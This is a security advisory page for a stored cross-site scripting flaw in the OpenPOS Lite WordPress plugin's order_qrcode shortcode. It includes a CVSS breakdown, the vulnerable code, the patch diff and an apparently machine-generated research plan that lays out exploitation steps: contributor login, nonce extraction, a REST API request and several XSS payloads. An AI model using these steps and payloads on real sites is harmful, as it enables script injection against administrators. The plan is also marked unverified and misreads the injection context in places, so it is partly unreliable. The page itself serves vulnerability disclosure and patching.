CVE-2026-1826

OpenPOS Lite <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.1
Patched in
2d
Time to patch

Description

The OpenPOS Lite – Point of Sale for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'width' parameter of the order_qrcode shortcode in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0
PublishedFebruary 10, 2026
Last updatedFebruary 12, 2026
Affected pluginwpos-lite-version

What Changed in the Fix

Changes introduced in v3.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-1826 - Stored XSS in OpenPOS Lite via Shortcode Attributes ## 1. Vulnerability Summary The **OpenPOS Lite** plugin (up to and including version 3.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `order_qrcode` short…

Show full research plan

Research Plan: CVE-2026-1826 - Stored XSS in OpenPOS Lite via Shortcode Attributes

1. Vulnerability Summary

The OpenPOS Lite plugin (up to and including version 3.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the order_qrcode shortcode, specifically within the width attribute. The plugin fails to sanitize or escape this attribute before rendering it within an HTML tag (likely an <img> or <div> tag). This allows an authenticated user with at least Contributor permissions to embed malicious JavaScript into a post or page, which executes when any user (including administrators) views that content.

2. Attack Vector Analysis

  • Shortcode: [order_qrcode]
  • Vulnerable Parameter: width
  • Authentication Level: Contributor or higher (any role capable of creating/editing posts and using shortcodes).
  • Placement: Any Post, Page, or Custom Post Type where shortcodes are processed.
  • Payload Context: Inside an HTML attribute (e.g., width="...").

3. Code Flow

  1. Registration: In includes/admin/Admin.php, the plugin hooks into init via add_action( 'init', array($this, '_short_code') ); (Line 52).
  2. Shortcode Definition: Inside the _short_code method, add_shortcode('order_qrcode', ...) is called.
  3. Processing: When WordPress encounters [order_qrcode width="payload"], it calls the associated callback function.
  4. Sink: The callback function extracts the width attribute from the $atts array. It then concatenates this value directly into an HTML string without using esc_attr() or absint().
  5. Output: The raw HTML string containing the payload is returned by the shortcode and rendered on the page.

4. Nonce Acquisition Strategy

While the vulnerability itself is in the shortcode rendering (which does not require a nonce to view), an attacker must save a post containing the shortcode to "store" the XSS. For an automated agent using HTTP requests, a nonce is required to interact with the WordPress REST API or the classic editor.

Steps to obtain the REST API Nonce:

  1. Login: Use the browser_navigate tool to log in as a Contributor.
  2. Navigate to Editor: Go to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the wpRestNonce.
    • Command: browser_eval("wpApiSettings.nonce")
  4. Alternative (Classic): If the REST API is not used, extract the _wpnonce from the post form.
    • Command: browser_eval("document.querySelector('#_wpnonce').value")

5. Exploitation Strategy

Step 1: Contributor Login

Log in as a user with the contributor role.

Step 2: Create a Post with Malicious Shortcode

Send a POST request to the WordPress REST API to create a new post.

  • URL: /wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [Extracted Nonce]
  • Body:
{
    "title": "Order QR Test",
    "content": "[order_qrcode width='100\" onerror=\"alert(document.domain)\" src=\"x']",
    "status": "publish"
}

Note: Contributor posts might go to "pending" status if "publish" is restricted, but the XSS will still trigger for an Admin reviewing the post.

Step 3: Verify Storage

The response from Step 2 will provide the id and link of the new post.

Step 4: Trigger and Detect XSS

Navigate to the post URL using http_request.

  • Expected Sink Pattern: Search the response body for: <img[^>]*width="100" onerror="alert(document.domain)" src="x"[^>]*>

6. Test Data Setup

  1. Plugin Installation: OpenPOS Lite version <= 3.0 must be active.
  2. Dependencies: OpenPOS Lite requires WooCommerce to be active. Ensure WooCommerce is installed and basic setup (like a test product) is present.
  3. User Creation:
    • Create a user attacker with role contributor.
    • Create a user victim_admin with role administrator.

7. Expected Results

  • The post creation request should return 201 Created.
  • The HTML output of the post page should contain the broken img tag with the injected onerror event handler.
  • When an Admin views the page, the browser would execute alert(document.domain).

8. Verification Steps (WP-CLI)

Confirm the post was created and contains the raw payload:

wp post list --post_type=post --post_status=any --fields=ID,post_title,post_content
# Look for the post with the order_qrcode shortcode

Check the rendered output for the lack of escaping:

# This mimics viewing the post on the frontend
wp eval 'echo do_shortcode("[order_qrcode width=\"100\\\" onerror=\\\"alert(1)\\\" src=\\\"x\"]");'

If vulnerable, the output will show the unescaped double quotes and attributes.

9. Alternative Approaches

If the order_qrcode shortcode does not render as an <img> tag, try breaking out of other potential attributes or contexts:

  • Style Attribute Breakout: [order_qrcode width='100;background-image:url("javascript:alert(1)")']
  • Tag Breakout: [order_qrcode width='100"><script>alert(1)</script>']
  • If rendered in admin-ajax: Some POS plugins render receipts via AJAX. Check wp_ajax_print_receipt (Line 84 in Admin.php) if the shortcode is used in receipt templates. The payload would be stored in the order metadata and triggered when the admin "prints" or views the order receipt in the POS interface.
Research Findings
Static analysis — not yet PoC-verified

Summary

The OpenPOS Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'width' and 'height' attributes of several shortcodes (e.g., [order_qrcode]). Authenticated attackers with Contributor-level access or higher can inject malicious scripts into posts or pages, which execute when viewed by other users, including administrators.

Vulnerable Code

// includes/admin/Admin.php (around line 3161)
public function _order_qrcode_func($atts)
{
    // ...
    $img_src = $this->core->generateQRcode($barcode,$atts['width'],$atts['height']);
    return '<img src="'.$img_src.'" style="width: '.$atts['width'].$unit.' ;max-width:'.$atts['width'].$unit.';max-height:'.$atts['height'].$unit.';height:'.$atts['height'].$unit.'">';
}

---

// includes/admin/Admin.php (around line 3188)
public function _order_barcode_func($atts)
{
    // ...
    $img_data = $this->core->generateBarcode($barcode, $barcode_mode,$barcode_width,$barcode_height);
    return '<img src="'.$img_data.'" style="width: '.$atts['width'].$unit.' ;max-width:'.$atts['width'].$unit.';max-height:'.$atts['height'].$unit.';height:'.$atts['height'].$unit.'">';
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wpos-lite-version/3.0/includes/admin/Admin.php	2025-10-03 17:24:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpos-lite-version/3.1/includes/admin/Admin.php	2026-02-08 08:18:12.000000000 +0000
@@ -3158,7 +3158,7 @@
         }
         //$img_src = esc_url('https://chart.googleapis.com/chart?chs=150x150&cht=qr&chl='.$barcode.'&choe=UTF-8');
         $img_src = $this->core->generateQRcode($barcode,$atts['width'],$atts['height']);
-        return '<img src="'.$img_src.'" style="width: '.$atts['width'].$unit.' ;max-width:'.$atts['width'].$unit.';max-height:'.$atts['height'].$unit.';height:'.$atts['height'].$unit.'">';
+        return '<img src="'.$img_src.'" style="width: '.esc_attr($atts['width']).$unit.' ;max-width:'.esc_attr($atts['width']).$unit.';max-height:'.esc_attr($atts['height']).$unit.';height:'.esc_attr($atts['height']).$unit.'">';
         
     }
     public function _order_barcode_func($atts)
@@ -3185,7 +3185,7 @@
         $barcode_height = isset($atts['height']) ? $atts['height'] : null ;
         
         $img_data = $this->core->generateBarcode($barcode, $barcode_mode,$barcode_width,$barcode_height);
-        return '<img src="'.$img_data.'" style="width: '.$atts['width'].$unit.' ;max-width:'.$atts['width'].$unit.';max-height:'.$atts['height'].$unit.';height:'.$atts['height'].$unit.'">';
+        return '<img src="'.$img_data.'" style="width: '.esc_attr($atts['width']).$unit.' ;max-width:'.esc_attr($atts['width']).$unit.';max-height:'.esc_attr($atts['height']).$unit.';height:'.esc_attr($atts['height']).$unit.'">';

Exploit Outline

The exploit involves an authenticated attacker with at least Contributor permissions creating a post or page containing a specially crafted shortcode. Specifically, the attacker targets the `order_qrcode` shortcode and provides a malicious payload within the `width` or `height` attributes. For example, a payload like `[order_qrcode width='100" onerror="alert(1)" src="x']` would break out of the style attribute context in the rendered HTML `<img>` tag and inject an `onerror` event handler. When a victim (such as an admin) views the published or pending post, the JavaScript payload executes in the context of their session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.